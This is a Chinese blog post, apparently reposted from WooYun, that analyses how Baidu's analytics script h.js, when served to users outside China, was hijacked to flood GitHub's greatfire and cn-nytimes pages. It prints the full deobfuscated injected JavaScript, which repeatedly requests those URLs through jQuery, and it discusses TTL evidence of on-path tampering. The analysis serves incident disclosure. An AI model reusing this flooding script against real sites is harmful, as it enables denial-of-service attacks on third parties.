百度统计js被劫持用来DDOS Github
今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗:
malicious javascript detected on this domain
我第一反应就是不知道哪个调皮的基友又把zone给XSS了,马上打开开发者工具分析。
0x01 细节
之后立刻发现弹窗的js居然是从github加载的:
可是为什么乌云会从github加载js呢,并且还是从greatfire和纽约时报镜像加载。
第一反应是页面有xss或者js被劫持了,找了半天终于找到了,居然是
hm.baidu.com/h.js
这个js的确被乌云加载了没错,这是百度统计的js代码,打开后里面是一个简单加密后的js,eval了一串编码后的内容,随便找了个在线解密看了下,发现如下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
document.write( "<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>" ); !window.jQuery && document.write( "<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>" ); startime = ( new Date).getTime(); var count = 0; function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 } url_array = [ "https://github.com/greatfire/" , "https://github.com/cn-nytimes/" ]; NUM = url_array.length; function r_send2() { var a = unixtime() % NUM; get(url_array[a]) } function get(a) { var b; $.ajax({ url: a, dataType: "script" , timeout: 1E4, cache: !0, beforeSend: function () { requestTime = ( new Date).getTime() }, complete: function () { responseTime = ( new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) } function r_send(a) { setTimeout( "r_send2()" , a) } setTimeout( "r_send2()" , 2E3); |
大概功能就是关闭缓存后每隔2秒加载一次
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
里面的两个url
问了下墙内的小伙伴们,他们看到的js都是正常的,但是通过墙外ip访问
http://hm.baidu.com/h.js
就会得到上面的js文件,每隔2秒请求一下这两个url。
打开twitter看了下,似乎从3月18号以来Github就受到了DDoS攻击,之后greatfire把被攻击的页面内容换成了
1
|
alert( "WARNING: malicious javascript detected on this domain" ) |
以弹窗的方式阻止了js的循环执行。
图3 国外ip traceroute到hm.baidu.com的记录
似乎DNS并没有被劫持,看来是像之前一样直接把IP劫持了或者直接在HTTP协议里替换文件。
扫了下端口,只开了80和443,通过https协议访问后是正常的空页面(只有带referer才会出现js文件)。
作者要进行抓包分析时劫持已经停止,在twitter上看到有人已经分析过引用如下:
抓包跟踪,正常百度服务器返回给我日本VPS的TTL为51, RESP返回HTTP 200 OK的报文的TTL是47,可以确定的是有中间设备对VPS发了伪造报文。
真是无耻,呵呵
忽然想起一句话,之前DNS被劫持到外国服务器的时候某站长说的:
They have weaponized their entire population.
现在应该是:
They have weaponized their entire population of the Earth.
百度统计js被劫持用来DDOS Github的更多相关文章
- 百度统计js被劫持用来DDOS Github的JS注释
前几天在乌云看见了百度统计js被劫持用来DDOS Github,就想看看执行的核心JS是怎么样请求的. 就分析了下JS的执行,发现乌云解析的地方说错了. 文章里面说.大概功能就是关闭缓存后每隔2秒加载 ...
- 【转】百度统计js被劫持用来DDOS Github
原文链接:http://drops.wooyun.org/papers/5398 今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗 ...
- 百度统计的JS脚本原理分析
首先,百度统计会要求我们在要统计的页面中嵌入一段js语句,类似如下: <script type="text/javascript">var _bdhmProtocol ...
- 如何把百度统计代码放入JS文件中?百度统计的JS脚本原理分析
<script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script&quo ...
- nuxt.js 加百度统计
Mark一下: 在 Nuxt.js应用中使用Google统计分析服务,或者百度统计分析服务,推荐在 plugins 目录下创建 plugins/ga.js 文件.统计统计分析我们可以获取网站pv,uv ...
- 百度统计的JS脚本原理解析
一句话:在你的网站上加载百度统计的脚本,这个脚本会收集你的本地信息,然后发送给百度统计网站 https://blog.csdn.net/iqzq123/article/details/8877645 ...
- 屏蔽全部统计代码(51.la cnzz 百度统计 谷歌分析师adsense、屏蔽淘宝客广告代码)的方法
支持百度统计 .51.la统计.cnzz统计.51yes统计.谷歌分析师.阿里妈妈淘宝客广告.chinaz弹窗.假设有很多其它的须要屏蔽的,欢迎联系 default7#zbphp.com 改动etc的 ...
- 【转载】国内网站博客数据统计选免费Google Analytics还是百度统计
[转载]国内网站博客数据统计选免费Google Analytics还是百度统计 Google Analytics谷歌统计是我用的第一个网站统计工具,当然现在也一直在用.Google Analytics ...
- 百度统计API的使用
百度统计API的使用 在搭建自己博客的时候,希望自己能有个日志系统,能够看到PV.UV等信息,同时自己也搭建了个ELK系统,可惜服务器配置太低(1GHZ+1G内存),根本运行不起来.只能使用第三方的日 ...
随机推荐
- mac下mysql5.6字符集设置
http://geeksblog.cc/2016/05/28/mac-mysql-unicode/ mac下mysql5.6字符集设置: 在mac下设置mysql5.6字符集时踩过的坑,百分百保证 ...
- .net mvc 发布部署到机器上
这样会自动在C:\Inetpub\wwwroot 会出现这个文件夹. 上述步骤都是在安装了 VS2010.MVC3.0和的电脑上操作的 接下来进行服务器的部署 :1. 安装Microsoft .net ...
- iOS UIKit:CollectionView之布局(2)
Collection view使用UICollectionViewFlowLayout对象来管理section中的cell,该对象是一种流布局方式,即在collection view中的section ...
- java web 前端页面的分页逻辑
<div class="divBody"> <div class="divContent"> <!--上一页 --> < ...
- 在iis中mantisbt配置过程
最近需要安装个mantisbt,由于不想再安装个apache服务器,因此直接使用iis作为php解析服务器.同时为了方便管理安装包,将php安装包和扩展包能够独立存放在D:\Program Files ...
- apache下配置虚拟主机案例详解
案例说明: 域名: www.tianyik.com /var/html/www blog.tianyik.com /var/html/blog bb ...
- String类比较,String类运算比较,String运算
String类比较,String类运算比较 >>>>>>>>>>>>>>>>>>>&g ...
- ADO.Net技术
Connection对象 1.连接数据库 通过SqlConnection对象的State属性判断数据库的连接状态: public override ConnectionState State{ get ...
- 【原创教程】鲸吞HTML
首先,我们的angularJS课程分为三大模块: HTML/CSS/JS基础. angularJS详解. angualrJS的一些实用框架讲解. 其中,第一大模块的对象是对前端开发技术有点了解但不熟悉 ...
- 学习java随笔第三篇:java的基本数据类型
数据类型 一:整型 1.十进制 2.八进制 八进制数是满8进1,包含0~7的8个数字,在整数前面添加一个"0",表示是八进制数. 3.十六进制 十六进制数是满16进1,包含0~9, ...